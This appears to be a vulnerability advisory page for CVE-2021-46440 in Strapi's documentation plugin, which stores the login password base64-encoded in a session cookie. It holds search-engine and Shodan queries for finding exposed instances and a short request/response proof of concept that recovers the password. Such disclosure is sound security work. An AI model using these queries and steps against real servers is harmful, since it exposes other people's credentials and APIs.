Strapi 3.6.8 Password Disclosure / Insecure Handling

Risk: High
Local: No
Remote: Yes
CWE: CWE-922

Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

# Exploit Title: Strapi < 3.6.9 and < 4.1.5 DOCUMENTATION plugin - Storing Passwords in a Recoverable Format # Google Dork: intitle:"Welcome to your Strapi ap" # Shodan search: "X-Powered-By: Strapi <>" # Date: 2022-03-30 # Exploit Author: Kitchaphan Singchai [idealphase] # Vendor Homepage: # Software Link: # Vulnerable Version: < 3.6.9 and < 4.1.5 # Version: 3.6.8 # Tested on: Linux # CVE: CVE-2021-46440 # Description: Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi version prior 3.6.9 and prior 4.1.5 allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a plaintext password, leading to getting API documentation for further API attacks. # This CVE has been fixed via this Github pull request. - Change documentation auth cookie system ( # PoC: [Request] POST /documentation/login HTTP/1.1 Host: ..[SNIP].. password=password [Response] HTTP/1.1 302 Found Set-Cookie: strapi.sid=eyJkb2N1bWVudGF0aW9uIjoicGFzc3dvcmQiLCJfZXhwaXJlIjoxNjQyNjg2NDQyNzc2LCJfbWF4QWdl Ijo4NjQwMDAwMH0=; path=/; httponly Set-Cookie: strapi.sid.sig=e-5j8FBY8RSWqjALRv2dlPT5_gw; path=/; httponly X-Powered-By: Strapi <> ..[SNIP].. Redirecting to <a href="/documentation">/documentation</a>. Perform Base64 decoding and we got plaintext password in “documentation” json key as shown below. {"documentation":"password","_expire":1642686442776,"_maxAge":86400000} # Timeline: 19/Jan/2022 - Inform vulnerability to Strapi team 20/Jan/2022 - Strapi validate the issue and have found a fix that they plan to review, merge, and release ASAP. 8/Feb/2022 - Pull request created on Official Github strapi - Change documentation auth cookie system ( 28/Mar/2022 - Reserved CVE-2021-46440 29/Mar/2022 - Reproduce vulnerability on v3.6.9 and v.4.1.5 [Status:Fixed]

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top